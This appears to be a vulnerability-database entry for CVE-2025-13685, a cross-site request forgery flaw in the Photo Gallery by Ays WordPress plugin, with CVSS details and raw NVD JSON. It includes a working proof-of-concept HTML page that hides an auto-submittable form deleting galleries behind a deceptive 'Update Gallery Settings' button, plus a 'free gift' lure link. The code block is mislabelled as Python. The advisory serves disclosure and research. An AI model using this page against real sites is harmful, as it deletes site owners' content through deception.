Security Vulnerability Report
中文
CVE-2025-13685 CVSS 4.3 MEDIUM

CVE-2025-13685

Published: 2025-12-02 07:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Photo Gallery by Ays plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 6.4.8. This is due to missing nonce verification on the bulk action functionality in the 'process_bulk_action()' function. This makes it possible for unauthenticated attackers to perform bulk operations (delete, publish, or unpublish galleries) via a forged request granted they can trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Photo Gallery by Ays <= 6.4.8 (all versions up to and including 6.4.8)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-13685: Photo Gallery by Ays Bulk Action CSRF --> <!-- This PoC demonstrates how an attacker can force admin to delete galleries --> <!DOCTYPE html> <html> <head> <title>Gallery Management</title> </head> <body> <h1>WordPress Admin Dashboard</h1> <p>Click the button below to manage your galleries:</p> <!-- Hidden form that auto-submits to perform bulk delete --> <form id="csrfForm" action="http://target-wordpress-site/wp-admin/admin.php" method="POST" style="display:none;"> <input type="hidden" name="page" value="gallery-photo-gallery"> <input type="hidden" name="action" value="-1"> <input type="hidden" name="paged" value="1"> <input type="hidden" name="action2" value="-1"> <!-- Bulk action: delete selected galleries (IDs 1, 2, 3) --> <input type="hidden" name="action" value="delete"> <input type="hidden" name="gallery[]" value="1"> <input type="hidden" name="gallery[]" value="2"> <input type="hidden" name="gallery[]" value="3"> <!-- WordPress security nonce (MISSING in vulnerable version) --> <!-- <input type="hidden" name="_wpnonce" value="VALID_NONCE"> --> </form> <button type="button" onclick="document.getElementById('csrfForm').submit();"> Update Gallery Settings </button> <script> // Auto-submit form after page load (for stealthier attack) // window.onload = function() { document.getElementById('csrfForm').submit(); }; </script> </body> </html> <!-- Alternative: Direct link-based PoC --> <!-- <a href="http://target-wordpress-site/wp-admin/admin.php?page=gallery-photo-gallery&action=delete&gallery[]=1&gallery[]=2"> Click here for free gift </a> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13685", "sourceIdentifier": "[email protected]", "published": "2025-12-02T07:15:48.810", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Photo Gallery by Ays plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 6.4.8. This is due to missing nonce verification on the bulk action functionality in the 'process_bulk_action()' function. This makes it possible for unauthenticated attackers to perform bulk operations (delete, publish, or unpublish galleries) via a forged request granted they can trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gallery-photo-gallery/tags/6.4.7/includes/lists/class-gallery-photo-gallery-list-table.php#L1060", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gallery-photo-gallery/trunk/includes/lists/class-gallery-photo-gallery-list-table.php#L1060", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3404625/gallery-photo-gallery/tags/6.4.9/includes/lists/class-gallery-photo-gallery-list-table.php?old=3402336&old_path=gallery-photo-gallery%2Ftags%2F6.4.8%2Fincludes%2Flists%2Fclass-gallery-photo-gallery-list-table.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/42a14820-710d-4149-9a8d-aa84479f0980?source=cve", "source": "[email protected]"}]}}